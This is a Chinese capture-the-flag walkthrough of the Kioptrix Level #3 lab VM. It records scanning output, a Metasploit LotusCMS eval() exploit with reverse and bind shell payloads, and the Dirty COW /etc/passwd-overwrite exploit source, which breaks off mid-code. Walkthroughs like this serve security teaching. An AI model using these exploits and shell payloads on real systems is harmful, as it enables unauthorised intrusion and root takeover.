vuInhub靶场实战系列--Kioptrix Level #3

本文主要是介绍vuInhub靶场实战系列--Kioptrix Level #3，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关。

免责声明
前言
一、环境配置
- 1.1 靶场信息
- 1.2 靶场配置
二、信息收集
- 2.1 主机发现
- - 2.1.1 netdiscover
  - 2.1.2 arp-scan主机扫描
- 2.2 端口扫描
- 2.3 指纹识别
- 2.4 目录扫描
- - 2.4.1 dirb目录扫描
  - 2.4.2 dirsearch目录扫描
- 2.5 漏洞切入点
- - 2.5.1 访问首页
  - 2.5.2 访问登录页
  - 2.5.3 nikto
三、渗透测试
- 3.1 漏洞搜索
- 3.2 MSF攻击
- 3.3 系统提权
- - 3.3.1 调用标准终端
  - 3.3.2 系统信息
  - 3.3.3 发行版本
  - 3.3.4 系统内核漏洞搜索
  - 3.3.5 脚本文件下载
  - 3.3.6 查看脚本
  - 3.3.7 kali开启http服务
  - 3.3.8 上传脚本
  - 3.3.9 编译脚本
  - 3.3.10 执行脚本
- 3.4 修改密码
- 3.5 ssh登录
渗透总结
参考文章

前言

今日测试内容渗透Kioptrix Level #3靶机：

Vulnhub是一个提供各种漏洞环境的靶场平台，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞。本文介绍Kioptrix Level #3靶机渗透测试，内容包括主机扫描（nmap\netdiscover）、端口扫描（nmap\masscan）、目录扫描（dirb\dirsearch）、netcat、msf反弹shell、脚本利用、利用脚本进行linux内核提权等内容。

Description
Back to the Top
It’s been a while since the last Kioptrix VM challenge. Life keeps getting the way of these things you know.
After the seeing the number of downloads for the last two, and the numerous videos showing ways to beat these challenges. I felt that 1.2 (or just level 3) needed to come out. Thank you to all that downloaded and played the first two. And thank you to the ones that took the time to produce video solutions of them. Greatly appreciated.
As with the other two, this challenge is geared towards the beginner. It is however different. Added a few more steps and a new skill set is required. Still being the realm of the beginner I must add. The same as the others, there’s more then one way to “pwn” this one. There’s easy and not so easy. Remember… the sense of “easy” or “difficult” is always relative to ones own skill level. I never said these things were exceptionally hard or difficult, but we all need to start somewhere. And let me tell you, making these vulnerable VMs is not as easy as it looks…
Important thing with this challenge. Once you find the IP (DHCP Client) edit your hosts file and point it to kioptrix3.com
Under Windows, you would edit C:\Windows\System32\drivers\etc\hosts to look something like this:
localhost name resolution is handled within DNS itself.
127.0.0.1 localhost
::1 localhost127.0.0.1 static3.cdn.ubi.com
192.168.1.102 kioptrix3.com
Under Linux that would be /etc/hosts
There’s a web application involved, so to have everything nice and properly displayed you really need to this.
Hope you enjoy Kioptrix VM Level 1.2 challenge.
452 Megs
MD5 Hash : d324ffadd8e3efc1f96447eec51901f2
Have fun
Source: http://www.kioptrix.com/blog/?p=358

一、环境配置

1.1 靶场信息

官方链接	https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
发布日期	2011年4月18日
靶场大小	442MB
作者	Kioptrix
系列	Kioptrix
难度	★☆☆☆☆

1.2 靶场配置

渗透测试环境配置，请参考作者前面的内容vuInhub靶场实战系列-DC-2实战
【解决办法】- 靶机导入VMware后无法自动获取IP地址
建议将攻击机（kali）的网络模式设置为【桥接模式】

二、信息收集

2.1 主机发现

2.1.1 netdiscover

┌──(root㉿kali)-[/home/kali]
└─# netdiscover -r 192.168.1.0/24Currently scanning: Finished!   |   Screen View: Unique Hosts                     10 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 600                  _____________________________________________________________________________IP            At MAC Address     Count     Len  MAC Vendor / Hostname      -----------------------------------------------------------------------------192.168.1.9     ae:d5:7e:a8:51:6a      5     300  Unknown vendor                  192.168.1.1     a0:54:f9:b3:23:54      4     240  Unknown vendor                  192.168.1.11    00:0c:29:b2:d4:13      1      60  VMware, Inc.

2.1.2 arp-scan主机扫描

┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:b6:02:f0, IPv4: 192.168.1.111
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.9	ae:d5:7e:a8:51:6a	(Unknown: locally administered)
192.168.1.4	b6:4f:42:ef:5b:dd	(Unknown: locally administered)
192.168.1.11	00:0c:29:b2:d4:13	VMware, Inc.
192.168.1.8	22:cb:7f:9b:2c:c1	(Unknown: locally administered)4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.287 seconds (111.94 hosts/sec). 4 responded

综上所述的三种扫描方式，获得靶机信息
IP地址：192.168.1.11
MAC地址：00:0c:29:b2:d4:13

2.2 端口扫描

```bash
┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV -oA prime:1 192.168.1.11
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-10 06:36 EDT
Nmap scan report for 192.168.1.11
Host is up (0.0024s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 00:0C:29:B2:D4:13 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.72 seconds

综上所述，获得靶机开放的端口信息：
22端口：ssh服务
80端口：http服务

2.3 指纹识别

┌──(root㉿kali)-[/home/kali]
└─# whatweb -v 192.168.1.11 
WhatWeb report for http://192.168.1.11
Status    : 200 OK
Title     : Ligoat Security - Got Goat? Security ...
IP        : 192.168.1.11
Country   : RESERVED, ZZSummary   : Apache[2.2.8], Cookies[PHPSESSID], HTTPServer[Ubuntu Linux][Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch], maybe LotusCMS, Meta-Author[name of author - Manjeet Singh Sawhney   www.manjeetss.com], PHP[5.2.4-2ubuntu5.6][Suhosin-Patch], X-Powered-By[PHP/5.2.4-2ubuntu5.6]Detected Plugins:
[ Apache ]The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows NT. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards. Version      : 2.2.8 (from HTTP Server Header)Google Dorks: (3)Website     : http://httpd.apache.org/[ Cookies ]Display the names of cookies in the HTTP headers. The values are not returned to save on space. String       : PHPSESSID[ HTTPServer ]HTTP server header string. This plugin also attempts to identify the operating system from the server header. OS           : Ubuntu LinuxString       : Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch (from server string)[ LotusCMS ]LotusCMS (previously ArboroianCMS) brings to the forefront design and design integration into one of the most neglected CMS niches - Databaseless Web-Design and Development. Certainty    : maybeGoogle Dorks: (1)Website     : http://www.lotuscms.org/[ Meta-Author ]This plugin retrieves the author name from the meta name tag - info: http://www.webmarketingnow.com/tips/meta-tags-uncovered.html#authorString       : name of author - Manjeet Singh Sawhney   www.manjeetss.com[ PHP ]PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. This plugin identifies PHP errors, modules and versions and extracts the local file path and username if present. Version      : 5.2.4-2ubuntu5.6Module       : Suhosin-PatchVersion      : 5.2.4-2ubuntu5.6Google Dorks: (2)Website     : http://www.php.net/[ X-Powered-By ]X-Powered-By HTTP header String       : PHP/5.2.4-2ubuntu5.6 (from x-powered-by string)HTTP Headers:HTTP/1.1 200 OKDate: Mon, 10 Jun 2024 18:38:08 GMTServer: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-PatchX-Powered-By: PHP/5.2.4-2ubuntu5.6Set-Cookie: PHPSESSID=7b02754201eb0dc6bc8de42ad2c84b97; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheContent-Length: 1819Connection: closeContent-Type: text/html

获得关键信息;

Apache[2.2.8],
Cookies[PHPSESSID],
HTTPServer[Ubuntu Linux][Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch],
maybe LotusCMS,
Meta-Author[name of author - Manjeet Singh Sawhney www.manjeetss.com],
PHP[5.2.4-2ubuntu5.6][Suhosin-Patch],
X-Powered-By[PHP/5.2.4-2ubuntu5.6]

2.4 目录扫描

2.4.1 dirb目录扫描

┌──(root?kali)-[/home/kali]
└─# dirb http://192.168.1.11-----------------
DIRB v2.22    
By The Dark Raver
-----------------START_TIME: Mon Jun 10 06:41:35 2024
URL_BASE: http://192.168.1.11/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt-----------------GENERATED WORDS: 4612                                                          ---- Scanning URL: http://192.168.1.11/ ----
==> DIRECTORY: http://192.168.1.11/cache/                                                                                                        
==> DIRECTORY: http://192.168.1.11/core/                                                                                                         
+ http://192.168.1.11/data (CODE:403|SIZE:323)                                                                                                   
+ http://192.168.1.11/favicon.ico (CODE:200|SIZE:23126)                                                                                          
==> DIRECTORY: http://192.168.1.11/gallery/                                                                                                      
+ http://192.168.1.11/index.php (CODE:200|SIZE:1819)                                                                                             
==> DIRECTORY: http://192.168.1.11/modules/                                                                                                      
==> DIRECTORY: http://192.168.1.11/phpmyadmin/                                                                                                   
+ http://192.168.1.11/server-status (CODE:403|SIZE:332)                                                                                          
==> DIRECTORY: http://192.168.1.11/style/                                                                                                        ---- Entering directory: http://192.168.1.11/cache/ ----
+ http://192.168.1.11/cache/index.html (CODE:200|SIZE:1819)                                                                                      ---- Entering directory: http://192.168.1.11/core/ ----
==> DIRECTORY: http://192.168.1.11/core/controller/                                                                                              
+ http://192.168.1.11/core/index.php (CODE:200|SIZE:0)                                                                                           
==> DIRECTORY: http://192.168.1.11/core/lib/                                                                                                     
==> DIRECTORY: http://192.168.1.11/core/model/                                                                                                   
==> DIRECTORY: http://192.168.1.11/core/view/                                                                                                    ---- Entering directory: http://192.168.1.11/gallery/ ----
+ http://192.168.1.11/gallery/index.php (CODE:500|SIZE:5650)                                                                                     
==> DIRECTORY: http://192.168.1.11/gallery/photos/                                                                                               
==> DIRECTORY: http://192.168.1.11/gallery/themes/                                                                                               ---- Entering directory: http://192.168.1.11/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.1.11/phpmyadmin/ ----
+ http://192.168.1.11/phpmyadmin/favicon.ico (CODE:200|SIZE:18902)                                                                               
+ http://192.168.1.11/phpmyadmin/index.php (CODE:200|SIZE:8136)                                                                                  
==> DIRECTORY: http://192.168.1.11/phpmyadmin/js/                                                                                                
==> DIRECTORY: http://192.168.1.11/phpmyadmin/lang/                                                                                              
+ http://192.168.1.11/phpmyadmin/libraries (CODE:403|SIZE:339)                                                                                   
+ http://192.168.1.11/phpmyadmin/phpinfo.php (CODE:200|SIZE:0)                                                                                   
==> DIRECTORY: http://192.168.1.11/phpmyadmin/scripts/                                                                                           
==> DIRECTORY: http://192.168.1.11/phpmyadmin/themes/                                                                                            ---- Entering directory: http://192.168.1.11/style/ ----
+ http://192.168.1.11/style/admin.php (CODE:200|SIZE:356)                                                                                        
+ http://192.168.1.11/style/index.php (CODE:200|SIZE:0)                                                                                          ---- Entering directory: http://192.168.1.11/core/controller/ ----
+ http://192.168.1.11/core/controller/index.php (CODE:200|SIZE:0)                                                                                ---- Entering directory: http://192.168.1.11/core/lib/ ----
+ http://192.168.1.11/core/lib/index.php (CODE:200|SIZE:0)                                                                                       ---- Entering directory: http://192.168.1.11/core/model/ ----
+ http://192.168.1.11/core/model/index.php (CODE:200|SIZE:0)                                                                                     ---- Entering directory: http://192.168.1.11/core/view/ ----
+ http://192.168.1.11/core/view/index.php (CODE:200|SIZE:0)                                                                                      ---- Entering directory: http://192.168.1.11/gallery/photos/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.1.11/gallery/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.1.11/phpmyadmin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.1.11/phpmyadmin/lang/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.1.11/phpmyadmin/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.1.11/phpmyadmin/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)-----------------
END_TIME: Mon Jun 10 06:42:42 2024
DOWNLOADED: 46120 - FOUND: 17

FOUND: 17，发现17个目录

http://192.168.1.11/index.php
http://192.168.1.11/modules/
http://192.168.1.11/phpmyadmin/

2.4.2 dirsearch目录扫描

┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u 192.168.1.11 -e * -x 404,403
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.htmlfrom pkg_resources import DistributionNotFound, VersionConflict_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: 39772.zip | HTTP method: GET | Threads: 25 | Wordlist size: 9481Output File: /home/kali/reports/_192.168.1.11/_24-06-10_06-52-16.txtTarget: http://192.168.1.11/[06:52:16] Starting: 
[06:52:48] 301 -  351B  - /cache  ->  http://192.168.1.11/cache/            
[06:52:53] 301 -  350B  - /core  ->  http://192.168.1.11/core/              
[06:52:53] 200 -  688B  - /core/fragments/moduleInfo.phtml                  
[06:53:01] 200 -   23KB - /favicon.ico                                      
[06:53:03] 301 -  353B  - /gallery  ->  http://192.168.1.11/gallery/        
[06:53:20] 301 -  353B  - /modules  ->  http://192.168.1.11/modules/        
[06:53:20] 200 -    2KB - /modules/                                         
[06:53:28] 301 -  356B  - /phpmyadmin  ->  http://192.168.1.11/phpmyadmin/  
[06:53:30] 401 -  518B  - /phpmyadmin/scripts/setup.php                     
[06:53:30] 200 -    8KB - /phpmyadmin/
[06:53:30] 200 -    8KB - /phpmyadmin/index.php                             
[06:53:47] 301 -  351B  - /style  ->  http://192.168.1.11/style/            
[06:53:54] 200 -   18B  - /update.php                                       Task Completed

测试结果显示,获得目录

2.5 漏洞切入点

2.5.1 访问首页

访问链接：
http://192.168.1.11/index.php

2.5.2 访问登录页

点击Home页的【Login】：
http://192.168.1.11/index.php?system=Admin

Proudly Powered by: LotusCMS

2.5.3 nikto

┌──(root㉿kali)-[/home/kali]
└─# nikto -h 192.168.1.11
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.1.11
+ Target Hostname:    192.168.1.11
+ Target Port:        80
+ Start Time:         2024-06-10 07:05:01 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /favicon.ico: Server may leak inodes via ETags, header found with file /favicon.ico, inode: 631780, size: 23126, mtime: Fri Jun  5 15:22:00 2009. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch.
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/5.2 - PHP 3/4/5 and 7.0 are End of Life products without support.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /phpmyadmin/: phpMyAdmin directory found.
+ /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 1 error(s) and 20 item(s) reported on remote host
+ End Time:           2024-06-10 07:06:01 (GMT-4) (60 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

使用Nikto扫描网站漏洞发现phpmyadmin目录，且使用的数据库管理系统是MySQL

/phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.

三、渗透测试

3.1 漏洞搜索

┌──(root㉿kali)-[/home/kali]
└─# searchsploit LotusCMS        
-------------------------------------------------- ---------------------------------Exploit Title                                    |  Path
-------------------------------------------------- ---------------------------------
LotusCMS 3.0 - 'eval()' Remote Command Execution  | php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities         | php/webapps/16982.txt
-------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

发现2个Exploit

3.2 MSF攻击

依次执行如下bash命令：

┌──(root㉿kali)-[/home/kali]
└─# msfconsole  
msf6 > search LotusCMS
msf6 > use exploit/multi/http/lcms_php_exec
msf6 exploit(multi/http/lcms_php_exec) > show options
msf6 exploit(multi/http/lcms_php_exec) > set rhosts 192.168.1.11
msf6 exploit(multi/http/lcms_php_exec) > set uri /index.php?system=Admin
msf6 exploit(multi/http/lcms_php_exec) > set payload generic/shell_bind_tcp
msf6 exploit(multi/http/lcms_php_exec) > show options
msf6 exploit(multi/http/lcms_php_exec) > run

启动MSF

┌──(root㉿kali)-[/home/kali]
└─# msfconsole                                       
Metasploit tip: The use command supports fuzzy searching to try and 
select the intended module, e.g. use kerberos/get_ticket or use 
kerberos forge silver ticket########                  ##################            #######################         ##########################      ########################################################################################################################################################    ########   ###        ###        ####   #####   #######   #######          ##########   ###########################   ########################   ######################  ################      ##########        ############        #################      ##############      ##############       ###########       ###############    ####################################   #   ###  #   #   ############################     ##   ##     ##https://metasploit.com=[ metasploit v6.4.1-dev                           ]
+ -- --=[ 2407 exploits - 1239 auxiliary - 422 post       ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]Metasploit Documentation: https://docs.metasploit.com/

搜索漏洞

msf6 > search LotusCMSMatching Modules
================#  Name                              Disclosure Date  Rank       Check  Description-  ----                              ---------------  ----       -----  -----------0  exploit/multi/http/lcms_php_exec  2011-03-03       excellent  Yes    LotusCMS 3.0 eval() Remote Command ExecutionInteract with a module by name or index. For example info 0, use 0 or use exploit/multi/http/lcms_php_exec

使用payload模板

msf6 > use exploit/multi/http/lcms_php_exec
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

显示可选设置参数

msf6 exploit(multi/http/lcms_php_exec) > show optionsModule options (exploit/multi/http/lcms_php_exec):Name     Current Setting  Required  Description----     ---------------  --------  -----------Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlRPORT    80               yes       The target port (TCP)SSL      false            no        Negotiate SSL/TLS for outgoing connectionsURI      /lcms/           yes       URIVHOST                     no        HTTP server virtual hostPayload options (php/meterpreter/reverse_tcp):Name   Current Setting  Required  Description----   ---------------  --------  -----------LHOST  192.168.1.111    yes       The listen address (an interface may be specified)LPORT  4444             yes       The listen portExploit target:Id  Name--  ----0   Automatic LotusCMS 3.0View the full module info with the info, or info -d command.

参数设置

msf6 exploit(multi/http/lcms_php_exec) > set rhosts 192.168.1.11
rhosts => 192.168.1.11
msf6 exploit(multi/http/lcms_php_exec) > set uri /index.php?system=Admin
uri => /index.php?system=Admin
msf6 exploit(multi/http/lcms_php_exec) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf6 exploit(multi/http/lcms_php_exec) > show optionsModule options (exploit/multi/http/lcms_php_exec):Name     Current Setting         Required  Description----     ---------------         --------  -----------Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]RHOSTS   192.168.1.11            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlRPORT    80                      yes       The target port (TCP)SSL      false                   no        Negotiate SSL/TLS for outgoing connectionsURI      /index.php?system=Admi  yes       URInVHOST                            no        HTTP server virtual hostPayload options (generic/shell_reverse_tcp):Name   Current Setting  Required  Description----   ---------------  --------  -----------LHOST  192.168.1.111    yes       The listen address (an interface may be specified)LPORT  4444             yes       The listen portExploit target:Id  Name--  ----0   Automatic LotusCMS 3.0View the full module info with the info, or info -d command.

msf6 exploit(multi/http/lcms_php_exec) > run[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Started bind TCP handler against 192.168.1.11:4444
[*] Command shell session 1 opened (192.168.1.111:37447 -> 192.168.1.11:4444) at 2024-06-10 08:02:41 -0400id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

bash终端显示，已经获得shell

注:以下 payload 都可用(当获得反弹shell不成功时，尝试不同的payload):

set payload php/reverse_perl
set payload generic/shell_bind_tcp
set payload php/bind_perl
set payload php/reverse_php`

3.3 系统提权

3.3.1 调用标准终端

python2 -c 'imoprt pty,pty.spawn("/bin/bash")'
<w/kioptrix3.com$ python2 -c 'imoprt pty,pty.spawn("/bin/bash")'             
bash: python2: command not found
www-data@Kioptrix3:/home/www/kioptrix3.com$

调用标准终端成功

3.3.2 系统信息

www-data@Kioptrix3:/home/www/kioptrix3.com$ uname -a
uname -a
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux

系统版本： Linux Kioptrix3 2.6.24-24-server

3.3.3 发行版本

www-data@Kioptrix3:/home/www/kioptrix3.com$ cat /etc/*-release
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS"

发行版本：Ubuntu 8.04.3 LTS

3.3.4 系统内核漏洞搜索

┌──(root㉿kali)-[/home/kali]
└─# searchsploit privilege | grep linux | grep 2.6.2
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escalation             | linux/local/160.c
Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2)           | linux/local/5092.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Priv | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Esca | linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege E | linux/local/40839.c
Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1)             | linux/local/5093.c
Linux Kernel 2.6.24_16-23/2.6.27_7-10/2.6.28.3 (Ubuntu 8.04/8.10 / Fedora Core 10 x8 | linux_x86-64/local/9083.c
Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privilege Escalation   | linux_x86-64/local/15024.c
Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) - Local Privilege Escalation               | linux/local/17391.c
Linux Kernel 2.6.29 - 'ptrace_attach()' Race Condition Privilege Escalation          | linux/local/8678.c
Linux Kernel 2.6.x (Gentoo 2.6.29rc1) - 'ptrace_attach' Local Privilege Escalation   | linux/local/8673.c
Linux Kernel < 2.6.22 - 'ftruncate()'/'open()' Local Privilege Escalation            | linux/local/6851.c
Linux Kernel < 2.6.28 - 'fasync_helper()' Local Privilege Escalation                 | linux/local/33523.c
Linux Kernel < 2.6.29 - 'exit_notify()' Local Privilege Escalation                   | linux/local/8369.sh
Postfix 2.6-20080814 - 'symlink' Local Privilege Escalation                          | linux/local/6337.sh

可利用脚本：

Exploit Title	Path
Linux Kernel 2.6.22 < 3.9 - ‘Dirty COW’ ‘PTRACE_POKEDATA’ Race Condition Privilege E	linux/local/40839.c

3.3.5 脚本文件下载

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/kl_3]
└─# searchsploit -m 40839.c                         Exploit: Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)URL: https://www.exploit-db.com/exploits/40839Path: /usr/share/exploitdb/exploits/linux/local/40839.cCodes: CVE-2016-5195Verified: True
File Type: C source, ASCII text
Copied to: /home/kali/dev_run_app/vulhub/kl_3/40839.c┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/kl_3]
└─# ls
40839.c

脚本文件下载成功。

3.3.6 查看脚本

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/kl_3]
└─# cat 40839.c                                                                                                         
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;struct Userinfo {char *username;char *hash;int user_id;int group_id;char *info;char *home_dir;char *shell;
};char *generate_password_hash(char *plaintext_pw) {return crypt(plaintext_pw, salt);
}char *generate_passwd_line(struct Userinfo u) {const char *format = "%s:%s:%d:%d:%s:%s:%s\n";int size = snprintf(NULL, 0, format, u.username, u.hash,u.user_id, u.group_id, u.info, u.home_dir, u.shell);char *ret = malloc(size + 1);sprintf(ret, format, u.username, u.hash, u.user_id,u.group_id, u.info, u.home_dir, u.shell);return ret;
}void *madviseThread(void *arg) {int i, c = 0;for(i = 0; i < 200000000; i++) {c += madvise(map, 100, MADV_DONTNEED);}printf("madvise %d\n\n", c);
}int copy_file(const char *from, const char *to) {// check if target file already existsif(access(to, F_OK) != -1) {printf("File %s already exists! Please delete it and run again\n",to);return -1;}char ch;FILE *source, *target;source = fopen(from, "r");if(source == NULL) {return -1;}target = fopen(to, "w");if(target == NULL) {fclose(source);return -1;}while((ch = fgetc(source)) != EOF) {fputc(ch, target);}printf("%s successfully backed up to %s\n",from, to);fclose(source);fclose(target);return 0;
}int main(int argc, char *argv[])
